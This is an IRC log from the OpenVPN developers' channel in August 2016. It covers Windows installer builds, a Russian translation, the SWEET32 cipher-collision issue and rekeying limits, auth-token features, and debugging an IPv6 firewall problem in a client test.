"--inetd" 15:03 <@cron3> and also compatibility funnies - the clients run daily are 2.2, 2.3, master/openssl and master/polarssl... :) 15:05 <@cron3> haha, mattock is also having fun with his snapshot builder :-) 15:05 <@cron3> Build openvpn 15:05 <@dazo> :) 15:06 <@cron3> ../generic/build: 284: cd: can't cd to /home/samuli/buildtest/openvpn-build/windows-nsis/tmp/build-i686/openvpn-2.3.11 15:06 <@cron3> (because it's 2.3.12 now) 15:34 <@vpnHelper> RSS Update - gitrepo: Revert "Drop recursively routed packets" <https://github.com/OpenVPN/openvpn/commit/8cba9ffc57739eefa8e56b0738acd1dee2ff2396> 15:37 <@cron3> thanks 15:37 <@cron3> oh, whee :) 15:37 <@cron3> * [new tag] v2.3.12 -> v2.3.12 16:20 <@cron3> dazo: what happened to your t_client setup anyway? I remember you had this working, and ISTR that I sent you new credentials after we upgraded the CA to 2048 bit keys 17:18 <@dazo> cron3: Yeah, that's working now ... I noticed I test 4 was disabled, hence I didn't catch the TAP issue ...I don't know when or remember why I did that ... otherwise I would have caught the issues too 17:18 <@dazo> cron3: btw ... https://gitlab.com/dazo/misc-git-tools 17:18 <@vpnHelper> Title: David Sommerseth / misc-git-tools · GitLab (at gitlab.com) --- Day changed Wed Aug 24 2016 01:52 <@mattock> cron3: the email from Windows buildslave was sent between the version change and the release, where I fixed the version number 03:07 <@mattock> valdikss and/or lev: could you check that this Russian translation makes sense: https://github.com/OpenVPN/openvpn-gui/pull/70/files 03:07 <@vpnHelper> Title: more russian translation by chipitsine · Pull Request #70 · OpenVPN/openvpn-gui · GitHub (at github.com) 03:10 <@mattock> guys: chipitsine is going to work on combined installers (as in: contains tap-windows and tap-windows6) 03:10 <@mattock> what kind of combined installer do we want exactly? 03:13 <@mattock> Option 1: (NDIS5 + NDIS6 + openvpn i686) and (NDIS5 + NDIS6 + openvpn x86_64) 03:13 <@mattock> Option 2: (NDIS5 + openvpn i686 + openvpn x86_64) and (NDIS6 + openvpn i686 + openvpn x86_64) 03:13 <@mattock> Option 3: everything wrapped together in one package 03:22 <@syzzer> 2 or 3, I'd say 03:25 <@mattock> I would prefer 2, as WinXP+tap-windows (NDIS5) should be going away soon 03:25 <@mattock> so that we could avoid cleaning this up again in a year or so 03:33 <@dazo> +1 03:33 <@dazo> Just spotted this news ... http://www.prnewswire.com/news-releases/new-openvpn-licensing-in-aws-marketplace-simplifies-managing-remote-access-and-cloud-security-300315795.html 03:37 < valdikss> mattock: looks good 03:37 < Thermi> Darn it. 03:37 <@mattock> valdikss: option 2? 03:37 < Thermi> Now OpenVPN will get more market share. :( 03:37 < Thermi> They should all transition to IPsec!!1111 03:37 < valdikss> mattock: I'm about translation 03:38 < valdikss> Thermi: haha 03:39 < valdikss> Btw guys, should we dig more into tap-windows to see why is it so slow? 03:39 < valdikss> It's amazingly slow. I can't get more than 250-280 mbit/s without encryption and authentication on a gigabit lan. 03:40 < Thermi> valdikss: Did you test without doing kind synchronous IO? 03:40 < Thermi> Just asynchronously write packets to it and read whenever it has something 03:40 <@mattock> valdikss: ok, I'll merge it then 03:40 <@mattock> valdikss: re: slowness of tap-windows[6]: yes, we should dig into it, but nobody has had the skills 03:41 <@mattock> or interest, really 03:41 < Thermi> I dug a little bit 03:41 < Thermi> but it wasn't really a focus 03:43 < valdikss> mattock: I'll push more translation updates in a minutes 03:46 <@mattock> great! 03:47 <@mattock> Thermi: I just have to love these press release with lots of fluff and keywords like "enterprise-grade" :D 03:48 < valdikss> mattock: is challenge/response is a text field? 03:48 < Thermi> mattock: Just my kind of humor. The early adopters are probably actually testing an early aloha 03:48 < Thermi> *alpha 03:48 <@mattock> the content boils down to "Access Server licensing model has been adapted to AWS" 03:48 < Thermi> they wouldn't make an aloha wave 03:48 < valdikss> mattock: are there digits or characters? 03:48 < valdikss> mattock: or both? 03:49 <@mattock> valdikss: I have no clue actually - I've never used it 03:49 <@mattock> but there can be digits certainly, and other special characters 03:49 <@dazo> valdikss: I'd say we should focus on the NDIS6 driver most of all .... NDIS5 version is a dead end in not too far future 03:49 < valdikss> mattock: I've translated "response" as "response code" into Russian. 03:51 <@dazo> valdikss: but, yes ... performance do matter ... so if you can get a performance boost on NDIS6, you're making yourself ready for a place in the Windows TAP driver's Hall of Fame! ;-) 03:52 <@mattock> valdikss: ok, sounds reasonable, assuming that is following conventions of similar russian translations 03:53 <@mattock> when translating stuff from english to finnish I typically google a bit to see if there is a "standardized" translation for the phrase 03:53 <@mattock> I would suppose that there is one in russian for "challenge/response" 03:53 <@syzzer> does anyone know how to use this hidden auth-token feature? 03:54 <@dazo> syzzer: I have some very vague ideas about the concept ... but I can dig into it today 03:54 <@syzzer> I just tried to figure it out, but I'm not well versed enough with all the script and authentication interaction, and need to leave to visit a customer 03:55 <@syzzer> so I won't be able to update the wiki with the required instructions and examples :( 03:55 <@dazo> I'll do my best to provide something today 03:56 <@syzzer> dazo: that would be great 03:56 <@syzzer> James' mail contains some hints 03:56 < valdikss> mattock: there isn't, that's the proble. 03:57 < valdikss> mattock: there's no russian proper word for challenge/response that the usual user would understand. 03:57 < valdikss> mattock: in IT we just say "question/answer" 03:57 <@mattock> ok 03:58 <@mattock> lev and chipitsine can probably chime in when you make the PR 04:08 < valdikss> mattock: what does "Show script window" do? 04:08 < valdikss> mattock: what is the script? 04:09 <@mattock> valdikss: you're asking difficult questions :D 04:09 <@mattock> I will have to check to know for sure 04:09 <@mattock> I was about to go test / debug the snapshot installers anyways 04:32 < valdikss> mattock: some GUI options are not clear to me. Like the tick "Service Only" in "Advanced". Does it mean to run connections only using service or to apply timeout settings only to service? 05:17 < valdikss> https://github.com/OpenVPN/openvpn-gui/pull/71 05:17 <@vpnHelper> Title: Update Russian translation by ValdikSS · Pull Request #71 · OpenVPN/openvpn-gui · GitHub (at github.com) 05:31 < valdikss> cron3: GUI asks if the current user should be added to the ovpn admin group upon connection to the vpn using interactive service. That's totally fine. I though it would silently fail. 05:43 <@mattock> valdikss: re: "service only": the only info I have is here: https://github.com/OpenVPN/openvpn-gui 05:43 <@vpnHelper> Title: GitHub - OpenVPN/openvpn-gui: OpenVPN GUI is a graphical frontend for OpenVPN running on Windows XP / Vista / 7 / 8. It creates an icon in the notification area from which you can control OpenVPN to start/stop your VPN tunnels, view the log and do other useful things. NOTE: the code is forked from the official OpenVPN-GUI Git repository: http://sourceforge.net/p/openvpn-gui (at github.com) 05:44 <@mattock> hmm, I wonder how that description could be edited/fixed 05:44 <@mattock> valdikss: I confirmed that both release/2.3 and master -based Windows snapshot installers fail 05:44 <@mattock> I'll try to fix them today 06:05 <@mattock> I found the cause 06:05 <@mattock> it needs a small patch to openvpnserv2 06:06 <@mattock> or reordering of the sections in openvpn.nsi 06:46 <@mattock> basically openvpnserv2 -install tries to install _and_ start openvpnserv2, which fails, because tap-windows[6] is not installed at that point 06:47 <@mattock> it think I fixed that already in openvpnserv2-1.1.0.0, but openvpnserv2 codebase still has the issue, and openvpn-build is using openvpnserv2-1.0.0.0 (which has the issue) 06:47 <@mattock> I'll verify this and get the fix upstream 06:51 <@ecrist> mattock: hopefully you didn't hold me to a timeline on pipermail? 07:15 <@dazo> ecrist: mattock mentioned something about next week ....... 07:15 <@dazo> ;-) 07:38 <@mattock> cron3: ignore any messages from the windows buildslave, I'm doing some refatoring 07:38 <@mattock> refactoring 07:42 * cron3 ignores mattock :) 07:43 <@cron3> mattock: regarding installers - +1 on "option 2" 07:46 <@mattock> ok 08:06 <@mattock> valdikss: this installer fixes the issue: http://build.openvpn.net/downloads/snapshots/openvpn-install-master-20160824124959-8cba9ffc57-x86_64.exe 08:06 < valdikss> mattock: cool, let me try 08:06 <@mattock> for me uninstalling openvpn and rebooting before installing that one was required 08:06 <@mattock> OpenVPNServiceInteractive service was in a limbo before a reboot 08:30 <@mattock> I have a bit of cleaning up to do in openvpn-windows-buildtest, as release/2.3 -based installers really should not use "master" branch of openvpn-build 08:30 <@mattock> too much interactive service stuff in there, won't work 08:38 <@mattock> now the windows buildslave seems to produce usable installers for "master", but "release/2.3" will not work correctly 08:39 <@mattock> I will need to fix release/2.3 later, when the fix to openvpnserv2 is merged: https://github.com/xkjyeah/openvpnserv2/pull/8 08:39 <@vpnHelper> Title: Do not start OpenVPNService at install time by mattock · Pull Request #8 · xkjyeah/openvpnserv2 · GitHub (at github.com) 08:45 <@dazo> cron3: I'll dig into the auth-nocache for a real answer ... I haven't dug too deep into that, but my gut feeling is that using --auth-nocache will ignore pushed auth-tokens and request a new password 08:45 * dazo need to get ready to pick up $KID 09:02 <@mattock> valdikss: any luck with the snapshot installer? 10:09 <@ecrist> dazo: just one kid? 11:45 < valdikss> mattock: yep, works good! 11:48 < valdikss> mattock: minor problem https://i.imgur.com/M1elwyI.png 13:04 <@mattock> yeah, that is expected, unless it fails of course 13:39 <+krzee> do we have a writeup on the wiki regarding sweet32? 13:47 <@mattock> yes, linked to from the SecurityAnnouncements page 14:07 <@cron3> ok, i do not understand crypto... if it takes them 600Gb to recover something they know exactly where it is in the data stream, why are we talking about 64*mega*bytes for unknown encrypted data? 14:09 * cron3 wants a crypto lesson in Helsinki 15:41 <@dazo> cron3: the trick is to look for crypto collisions, which happens far more often with smaller cipher block sizes ... so when you don't renegotiate too often, you have a bigger pool to look for collisions. And once you have some set of collisions which are somewhat related, based on the cipher block chaining, you can do some XOR magic and you'll get more collisions resolved ... and when resolving these collisions, you basically use that to 15:41 <@dazo> derive decryption keys ... I won't claim this is 100% correct understanding, but that's what I've understood so far 15:43 <@cron3> well, the example they give on the web page was that they managed to steal HTTPS cookies by monitoring 600+ Gbytes of data stream 15:44 <@dazo> Right, and they use that to find these collisions, and from there start breaking things down. 15:44 <@cron3> this I could not see on their web page 15:45 <@cron3> (sweet32.info) 15:45 <@dazo> I understood much of this via this URL https://threatpost.com/new-collision-attacks-against-3des-blowfish-allow-for-cookie-decryption/120087/ 15:45 <@vpnHelper> Title: New Collision Attacks Against 3DES, Blowfish Allow for Cookie Decryption | Threatpost | The first stop for security news (at threatpost.com) 15:46 <@cron3> well, this is still only "steal cookie" not "decrypt whole data stream" 15:47 <@cron3> but my point is more why we are discussing 64MB, when they need 600*G* for a successful attack 15:48 <@dazo> Because you need to replace the encryption key often enough to provide enough resistance to make it worse to gather enough data to start looking for those crypto cookies 15:48 <@cron3> understood, but there are 5 orders of magnitude difference here. Why not reneg every 1G? 15:49 <+krzee> decrypting anything is a big deal, and is the first step towards more sophisticated attacks that may build on this 15:49 <+krzee> but ya 64M seems small 15:49 <@cron3> sweet32.info claims the birthday bound for 64bit ciphers is 32Gbyte 15:49 <+krzee> compared to the attack 15:49 <@dazo> I haven't read their papers yet, though 15:52 <@dazo> https://sweet32.info/SWEET32_CCS16.pdf ... look at "2.4 Rekeying before the Birthday Bound" 15:55 <@dazo> ("2.5 Towards a Practical Attack on CBC" is a good continuation) 15:55 <@cron3> will read tomorrow, too late now 15:55 <@dazo> :) 15:55 <+krzee> Even if the amount of data sent on a single connection is limited, as long as the limit is close enough to the birthday bound, we can still mount our attacks across multiple parallel and sequential sessions, albeit with a higher data and time complexity. 15:56 <@cron3> I still wonder why this would have any relevance on a normal openvpn connection, though :-) - the collision would only be useful if you have any idea what is in there, right? Their attack works by having a javascript call the very same http-over-openvpn / https URL with cookies sent again and again, so they know exactly which bits go where... how realistic is that? 15:57 <@cron3> (in other words: yes, there is a risk here if you can control plain text in large masses - but I'm not going to worry very much about realistic user traffic) 15:57 <+krzee> (cipher negotiation is also being implemented in the 2.4 branch) <-- whats that? 15:57 <@dazo> well, you have some data which is more predictable inside a VPN tunnel ... like IP headers 15:57 <@cron3> "cipher negotiation" :) 15:58 <@cron3> why is that predictable unless you already know a lot about the attacked session? 15:58 <@dazo> krzee: with NCP, you can control the --cipher on the client side from the server side 15:58 <+krzee> oh sweet! 15:58 <+krzee> is that working already? 15:58 <@cron3> sort of 15:58 <+krzee> gotchya 15:59 <@cron3> it works, but --mssfix is broken 15:59 <+krzee> ahh which i dont use 16:00 <@cron3> in that case: use git master and enjoy :) 16:21 <@syzzer> cron3: yes, their attack is about sending the same data over and over again 16:21 <@syzzer> so basically xss-over-openvpn 16:22 <@syzzer> the bound must be set pretty low to get a 'comfortable marging' away from realistic chances on collisions 16:23 <@syzzer> usually, that's a factor of 2^16 away from the birthday bounds (wich is 2^32 for 64-bit ciphers) 16:23 <@syzzer> that would be 500 kB... 16:25 <@syzzer> so from the crypto perspective (where things are designed to be unlikely in the timespan of three universe lifetimes), we're already entering 'scary territory' with 64 MB. From a practical perspecive though, that most likely suffices. 16:29 <@syzzer> hm, the wiki still has "insert text on auth-token" :( 16:33 -!- raidz [~raidz@openvpn/corp/admin/andrew] has left #openvpn-devel [] 16:44 <@vpnHelper> RSS Update - tickets: #727: OpenVPN 2.3.12 driver certificate is about to expire. <https://community.openvpn.net/openvpn/ticket/727> 17:08 <@syzzer> I updated the wiki with example scripts 17:08 <@syzzer> they're not pretty, but should help people out a bit 17:09 <@syzzer> feel free to fix where needed, ofc 20:06 <+krzee> syzzer: what link? --- Day changed Thu Aug 25 2016 02:08 <@syzzer> krzee: http://community.openvpn.net/openvpn/wiki/SWEET32 02:08 <@vpnHelper> Title: SWEET32 – OpenVPN Community (at community.openvpn.net) 05:25 <@d12fk> why is it that I have Billy Idol in my mind now... damn those 80s 06:39 <@cron3> mornin 07:01 <@syzzer> mornin 07:02 <@cron3> read your explanation, thanks. Still not totally convinced :-) - but this is too complicated to argue in IRC, let's do this in person in Helsinki 07:08 <@syzzer> sure :) 07:57 <@dazo> syzzer: I've looked at your scripts for auth-token ... Haven't really tested them, but it looks very sane. 07:58 <@dazo> I've come quite far on a patch set to add --auth-gen-token ... looking promising, but a few corner cases to iron out. 09:53 <@syzzer> dazo: cool! you'll probably don't need to jump through the hoops I did in the scripts to keep them stateless 10:12 <@dazo> syzzer: posted an RFC for the --auth-gen-token stuff on the -devel ML 10:26 <+krzee> very cool syzzer i knew nothing of that before now :D 10:26 * krzee adds it to his toolbelt 11:30 <@syzzer> krzee: I knew (almost) nothing about that until yesterday too :p 11:48 <@dazo> it's one of those "oh, what does this undocumented option do?" features of OpenVPN 13:02 <@vpnHelper> RSS Update - gitrepo: Fix unittests for out-of-source builds <https://github.com/OpenVPN/openvpn/commit/ee4f37c3533667aee87fd39ba131e80f3c1cfde7> 13:32 <@vpnHelper> RSS Update - gitrepo: Use AES ciphers in our sample configuration files and add a few moder… <https://github.com/OpenVPN/openvpn/commit/bde1b90da0db2d68d13d274102986f0ca7096c00> 14:19 <@vpnHelper> RSS Update - gitrepo: Bind to local socket before dropping privileges <https://github.com/OpenVPN/openvpn/commit/b3e975824ea9ebae8dbea5b451c8d02525c83ffe> 14:56 <@cron3> uh, I think that last patch had a NAK from plaisthos, because the code in question does much more than "just bind socket" 15:02 <@cron3> (but I'm surprised that this was not needed in 2.3... seems it got shuffeled around in the socket rewrite...) 15:21 <@cron3> meh, that patch totally breaks TCP clients 15:57 <@cron3> mattock: does dazo receive the buildbot-failure mails? If no, please make it so :-) 16:18 <+krzee> theres 2 entries in DNS for swupdate.openvpn.net... 1 works and other doesnt. 16:19 <+krzee> so its like repo roulette! 16:19 <+krzee> :D 16:53 <@dazo> cron3: I have a fix for the timeout issues already ... running the test just a few more times .... test case 4 still fails for me, even with the revered patch from lev__ 20:10 <@vpnHelper> RSS Update - tickets: #728: Feature: Block/Allow connecting when on specific SSID or Network/netmask <https://community.openvpn.net/openvpn/ticket/728> 21:50 -!- s7r [~s7r@openvpn/user/s7r] has quit [Ping timeout: 250 seconds] 21:50 -!- s7r [~s7r@openvpn/user/s7r] has joined #openvpn-devel --- Day changed Fri Aug 26 2016 05:08 -!- dazo [~dazo@openvpn/corp/developer/dazo] has quit [Ping timeout: 250 seconds] 05:13 -!- dazo [~dazo@openvpn/corp/developer/dazo] has joined #openvpn-devel 05:13 -!- mode/#openvpn-devel [+o dazo] by ChanServ 05:54 <@dazo> syzzer: sorry for the noise on SHA256 mail ... clicked reply, instead of reply all ... and it decided to encrypt the message ... just resent it to properly the ML now 05:59 <@dazo> f*** ... thunderbird is playing games with me 06:02 <@dazo> ahh, no ... it's finally showed up in the mail logs 06:03 <@dazo> or? 06:03 * dazo is confused 06:09 <@dazo> nope, thunderbird is playing games .... *grmbl* 06:10 <@dazo> so really sorry ... this time it is correctly sent to ML too 07:02 <@cron3> dazo: which test ist "test 4" for you, and how is it failing? Is it not connecting, or is ping failing? 07:04 <@cron3> my failures (with lev__'s patch) are "it connects perfectly fine, but no data transfer is possible" (= ping fail) 08:21 <@dazo> cron3: ping6 fails on test 4 for me 08:21 <@dazo> it connects fine 08:21 <@cron3> all pings, or just 3000 bytes? 08:22 <@dazo> let me double check 08:22 <@dazo> All ipv6 ... ip4 pings seems to work ... I'll pastebin the fping log 08:23 <@cron3> firewall rules? ipv6 disabled? 08:23 <@dazo> https://paste.fedoraproject.org/414323/22177331/ 08:23 <@cron3> the fping long won't tell much more than "it does not work" - tcpdumping on the tap interface while it's trying the ping might be more interesting 08:23 <@dazo> IPv6 enabled, but it does have a 2000::/3 "default gw" route enabled 08:23 <@cron3> (but that's a different issue, with the patch from lev__, both v4 and v6 were broken) 08:24 <@cron3> the default route shouldn't matter, I route a /48 and /64 towards the test tap 08:24 <@dazo> right ... when I saw that that test 4 failed only on this, I took it to be a false positive for now 08:25 <@cron3> could you run the test right now? 08:25 <@cron3> dumping on the server... 08:26 <@dazo> yeah, just a sec 08:27 <@dazo> btw ... I've asked James to have a look at the patch too, it seems plaisthos is on a holiday or so as he's been idle here for 6-7 days 08:27 <@dazo> cron3: running test right now 08:28 <@dazo> ipv6 started now 08:28 <@cron3> it's sending IPv6 NS, and I'm replying with IPv6 NA, but you do not seem to be receiving them 08:29 <@cron3> ACLs not permitting ICMPv6? 08:29 <@cron3> 09:27:46.139571 IP6 fd00:abcd:194:4::1002 > ff02::1:ff00:1: ICMP6, neighbor solicitation, who has fd00:abcd:194:4::1, length 32 08:29 <@cron3> 09:27:46.139609 IP6 fd00:abcd:194:4::1 > fd00:abcd:194:4::1002: ICMP6, neighbor advertisement, tgt is fd00:abcd:194:4::1, length 32 08:29 <@dazo> hmmm ... could be, let me check 08:29 * dazo runs again 08:30 <@dazo> now without ip6tables for this test 08:30 <@cron3> this is why I asked about the 3000 test - BSDs are notorious for killing IPv6 fragments :) 08:30 <@cron3> 09:29:42.485717 IP6 fd00:abcd:194:4::1002 > fd00:abcd:194::1: ICMP6, echo request, seq 27, length 72 08:30 <@cron3> 09:29:42.485738 IP6 fd00:abcd:194::1 > fd00:abcd:194:4::1002: ICMP6, echo reply, seq 27, length 72 08:30 <@cron3> ping! 08:31 <@dazo> yupp! now it passed ... need to double check what firewalld does to ipv6tables 08:31 <@cron3> 09:29:42.485717 IP6 fd00:abcd:194:4::1002 > fd00:abcd:194::1: ICMP6, echo request, seq 27, length 72 08:31 <@cron3> 09:29:42.485738 IP6 fd00:abcd:194::1 > fd00:abcd:194:4::1002: ICMP6, echo reply, seq 27, length 72 08:31 <@cron3> oops 08:31 <@cron3> damn touchpad 08:31 <@dazo> hehe 08:31 <@cron3> either it's not pasting at all, or spurios 08:33 <@dazo> ahh, it might be the default firewall profile I've chosen for unknown net devices .... block ... which literary uses DROP on everything not known 08:34 <@cron3> I'd consider that buggy... if you let out packets, you need to at least allow ICMPv6 neighbour discovery... 08:34 <@dazo> well, I'll admit the complete ICMP stack (both v4 and v6) is really not well designed in firewalld ... it's on their todo list to improve it, though 08:35 <@dazo> there are no blocking on OUTPUT, all blocking comes on INPUT and FORWARD 08:35 <@cron3> right, but if IPv6 NS goes out, one really should permit IPv6 NA coming in :-) 08:35 <@cron3> (why isn't this "related"?) 08:36 <@dazo> That I dunno yet 08:36 <@cron3> anyway, need to stop my kids from killing each other... back tonight 08:36 <@dazo> have fun in the war zone ;-) 08:44 <@ecrist> the security page indicates use of 2FA - what and how are you thinking that is implemented? 08:45 <@ecrist> cert + user/pass, or an actual OTP or similar? 08:47 <@dazo> ecrist: that entirely depends on the auth plugin/auth-user-pass-verify script 08:51 <@ecrist> I thought we don't currently have a way to really support a second factor right now? 08:51 <@ecrist> --ask-user-pass doesn't support it 08:51 <@dazo> ecrist: most implementation have that you enter both into the password field 08:52 <@dazo> most commonly, you first type the password and directly followed by the OTP code 08:54 <@ecrist> yeah, that's what I've done in the past 08:55 <@ecrist> what I think we need is something more robust 08:55 <@ecrist> I'm not sure I have the C skills to help with it though. 08:56 <@ecrist> We need something that is more dynamic, I think. akin to auth-user-pass that is variable 08:56 <@ecrist> --ask-auth-creds Username Password MobilePASS 08:57 <@ecrist> MobilePASS is a brand, those could be used as the remote prompt, and leveraged in the environment for the verify script 08:57 <@ecrist> it could also be something like 08:57 <@ecrist> --ask-auth-creds Password "Mother's Maiden Name" 08:58 <@ecrist> or something stupid like that 09:01 <@dazo> right ... well, we will eventually look into that 09:02 <@ecrist> I might try to tackle it, and brave the code reviews that would follow. 09:03 <@dazo> hehe 09:04 <@dazo> cron3: I found out why it fails in ip6tables .... https://paste.fedoraproject.org/414353/19704147/raw/ ... both log lines from ip6tables and tcpdump ... notice the SOURCE address from both .... it sends the packet to ff02::1:ff00:1: and receives the reply from fd00:abcd:0194:0004::1 ... those are not related 10:20 <@vpnHelper> RSS Update - gitrepo: Fix client connection instant timeout <https://github.com/OpenVPN/openvpn/commit/4db062901fba790ac35cbf0cdd360306d8f2b81f> 11:13 <@dazo> mehh ... thunderbird!!!! *grrrrrrmlb* 11:14 * kettlecalling knows exactly what dazo means .. but mutt is too demanding 11:15 <@dazo> thunderbird have worked quite fine for me for a long time, but as I added a new identity it started to pick the wrong ones when I reply 11:16 < kettlecalling> I have 3 identities but I don't have that problem .. so far 11:16 < kettlecalling> maybe i don't switch enough to cause it 11:16 <@dazo> need to tweak Correct Identity addon again, to scream out when something stupid is about to happen 11:17 < kettlecalling> or run a couple of VMs each with a different identity 11:17 < kettlecalling> i also use firefox on denian vm using X 11:18 < kettlecalling> debian* 11:18 <@dazo> meh ... then it's easier to run multiple thunderbird instances, each started with -ProfileManager 11:18 < kettlecalling> ;) 11:19 <@dazo> sandboxing firefox though, I do see the point of doing that though 11:19 < kettlecalling> sure as hell beat M$ mail 11:19 <@dazo> haha ... oh yeah 11:20 < kettlecalling> I have a w10 pc .. it has taken 36hours to finally complete M$ updates 11:20 <@dazo> actually I would be willing these days to switch over completely to Zimbra webmail ... the only thing I cannot work with there, is that there are no support for threaded sorting ... for mailing lists, that is a true must for me 11:20 * dazo haven't used windows on any of his computers since year ~2000 11:20 < kettlecalling> yeah threading is very useful 11:21 < kettlecalling> OMG nearly 1GB download to get w10 uptodate ! 11:22 <@dazo> Microsoft have made updates easier for them ... just update everything, just to be sure nothing is left out 11:23 * kettlecalling does not want to polute the channel with anyy more M$ nonsense ;) 12:36 < kettlecalling> ++ 12:36 < kettlecalling> ++ SQL ERROR ON THE FORUM 12:37 < kettlecalling> ++ 12:39 <+krzee> LOL on the day before its birthday... midlife crisis? 12:40 < kettlecalling> really ..the forum was born on 27-aug ? 12:40 <+krzee> yes, and im not seeing the sql error 12:41 < kettlecalling> load an actual post 12:41 <+krzee> ahh yes 12:41 < kettlecalling> not the index 12:41 < kettlecalling> :) 12:41 <+krzee> ecrist: ^^ 12:41 < kettlecalling> or :( .. which ever you prefer 12:41 <+krzee> ill take :( 12:41 <+krzee> lol 12:46 < kettlecalling> where is raidz ? 12:47 < kettlecalling> raidz was also nominated to be informed of forum problems 12:55 <@dazo> gee ... git rebase -i is powerful! 13:48 <@ecrist> gah 13:48 <@ecrist> where is the SQL error? 13:49 <@ecrist> nm 13:50 <@cron3> re... oh my, you have been busy 13:51 <@cron3> ecrist: with the static challenge, you can do this today - see Selva's post on the -devel list 13:52 <@cron3> dazo: I'd consider this a bug in the "related" implementation - this is just how ND works. (Or maybe it should install appropriate rules for connected networks by default) 13:53 <@cron3> (to be honest, I think IPv6 ND reeks of "too many folks from university that have never touched a router in their whole life" had their hands in this... but that's the way it is, and all the dislike in the world is not going to change it over night) 13:54 * cron3 thinks that after advocating IPv6 for 20 years, he could change to a "why this is all full of shit" crusade afterwards, just to confuse people 13:55 <@ecrist> This disk is actually full on the forum 13:55 <@ecrist> working on it now 13:59 <+krzee> lol cron i wish i came back half way through your new crusade, that would have been epic mindscrew 14:02 <@dazo> cron3: join your efforts to djb who things IPv6 is complete nonsense and waste of time :-P 14:03 <@cron3> no :) 14:03 <@cron3> djb's totally nuts with his demands that IPv6 should be "compatible to IPv4, with no changes to old hosts or routers" 14:03 <@dazo> hehe 14:03 <@cron3> (because that just can not work, period) 14:04 <@ecrist> kettlecalling: should be good now 14:04 <@cron3> but there is too much stuff in IPv6 that was designed by committees 20 years ago, and that is just getting in the way of *working* with it 14:05 <@cron3> like, ND using globals, link-locals, and unspecified (::) address for source/destination depending on <list of rules> 14:05 * krzee goes to find djb talking about how hed like to see that implimented 14:06 <@dazo> I think one of the issues with many of those standards, is that they seem to be written/designed first - then implemented .... and then many does implementations a the same time and it's harder to go back and say "whoops, this was bad!" 14:06 <@cron3> last time I read his anti-v6 page, he wasn't really going into details :) 14:06 <@dazo> krzee: http://cr.yp.to/djbdns/ipv6mess.html 14:06 <+krzee> nice 14:06 <@cron3> dazo: no, many of these have truly been designed by non-engineers, like the "unlimited chain of extention headers" 14:07 <@dazo> that doesn't help either 14:07 <@cron3> "wouldn't this be nice to have?" 14:07 <@cron3> EHs are basically a solution looking for some potential future problem... 14:08 <@dazo> my point is that if something is first implemented and tested out at a bigger scale and *then* standardized, you get around a lot of these "I want my pink pony" features which nobody really needs 14:08 <@cron3> ... which then isn't going to be *solved* by EHs because they suck too much to be workable on internet-scale... 14:08 <@cron3> half the issues have been foreseeable, but do not really hurt until you have hardware-forwarding routers, and *then* it's way too late to go back (indeed) 14:08 < kettlecalling> ecrist: looks good thankyou 14:09 <@ecrist> np - thanks for letting me know 14:10 < kettlecalling> welcome 14:10 <@dazo> cron3: btw ... I've tested my auth-token patch with --auth-nocache on the client ... then it actually queries for username/password each time 14:10 <@dazo> so all this needs to be improved 14:10 <+krzee> ecrist: maybe youd like munin or icinga to help notify people of getting near the threshold? i recently set them up on a network 14:10 <@ecrist> this is confusing 14:10 <@ecrist> cron3-- 14:11 -!- cron3 is now known as cron2 14:11 <@ecrist> we use monit - I have to actually check my email then. 14:11 <@dazo> cron3: I'm now trying to understand if we can detect on the client if why the server sends a reject 14:11 <@cron2> there is a message in auth reject, I seem to remember 14:12 <@dazo> yeah, there are some details here which is kicking in ... I just haven't found the proper places in the code :) 14:16 <@cron2> maybe no client changes are needed at all - one could test what happens if the client sends the token, and the server refuses it - will the client just retry dumbly, or will it return to asking 14:17 <@cron2> it might "just do the right thing" automatically 14:17 <@dazo> Tried that, the client goes into a silly loop when auth fails without --auth-nocache 14:18 <@cron2> bah 14:18 <@dazo> if I can't find an existing signalling path to the client, I might need to add something more clever 14:18 <@cron2> maybe we should fix that for 2.3.13 :) ("if AUTH FAILED, then forget cached creds") 14:19 <@dazo> that's actually one of the things I've considered :) 14:20 * cron2 had no time to dig into all the auth code on both ends to be really useful here :-/ - but maybe James can offer some advice 14:21 <@cron2> (he has been awfully quiet last year, wonder what magic things he's brewing...) 14:23 <@dazo> *sigh* 14:23 <@dazo> bool 14:23 <@dazo> proto_is_dgram(int proto) 14:23 <@dazo> { 14:23 <@dazo> return proto_is_udp(proto); 14:23 <@dazo> } 14:26 * dazo admits we accepted the IPv6 transport patches far too easily into our treee 14:36 <@cron2> I think that was ok for 2.3, and with the grand unified dual-stack rewrite by plaisthos, we have a solid code base for 2.4 now (... even if it has some warts left) 14:37 <@cron2> and it was really needed to have *some* v6 in 2.3, even if not perfect :) 14:43 <@dazo> yeah, it is a needed feature ... but we could have mandated far more review, but on the other hand, these things were one of the few things we did very early on 14:44 * dazo sent a clean-up patch to ML ... with plaisthos on Cc 14:44 <@cron2> none of us were qualified "back then" to do *better* v6 transport code :-) 14:44 * cron2 had enough to do to understand the payload stuff... 14:46 <@dazo> yeah, probably right ... and proto_is_udp() and proto_is_dgram() had bigger differences in the beginning, plaisthos' work made these things far simpler 14:46 <@cron2> *that* patchset was quite a big challenge 14:49 <@cron2> oh, don't be so fast in throwing out things :-) - we might eventually bring in stuff like SCTP, which can do "dgram mode", and is certainly not UDP... 14:49 <@dazo> hahaha 14:49 <@cron2> no, I'm serious here 14:50 <@dazo> well, would it be better to go for proto_is_dgram() instead of proto_is_udp() ? 14:50 <@dazo> I basically flipped a coin on which of the names to keep 14:50 <@cron2> proto_is_dgram() today calls roto_is_udp(), because that is the only dgram protocol we have 14:51 <@cron2> but it could easily become "return proto_is_udp() || proto_is_sctp_dgram_mode()" 14:51 <@dazo> I agree that the day we do implement SCTP we need to resolve that ... but having less variables in the pool the day we do that, makes it easier to implement it in a safer way 14:52 <@cron2> now, changing "link_socket_proto_connection_oriented()" to "proto_is_stream()" would bring this in line with "proto_is_dgram()" and be much easier to read 14:52 <@dazo> okay, I can easily flip all this around 14:53 <@cron2> I do not buy that argument - you're basically just introducing change entropy for no *good* reason 14:55 * kettlecalling wonders if plaisthos is michael (maikcat) from the Forums ? 14:55 <@dazo> okay, I disagree on that .... as *now* we have TCP and UDP mode supported .... and you've criticized me for planning too much into the future in other patches, so I'm just moving things to where we are today 14:55 <@dazo> kettlecalling: nope 14:56 <@dazo> kettlecalling: plaisthos is the creator of "OpenVPN for Android" 14:56 <@ecrist> maikcat doesn't frequent IRC 14:56 < kettlecalling> thanks 14:56 < kettlecalling> who the **** is d12fk 14:57 <@dazo> the lead maintainer of OpenVPN GUI 14:57 <@dazo> (windows) 14:57 <@cron2> "former" 14:57 <@cron2> these days, all the GUI work is done by Selva and mattock :) 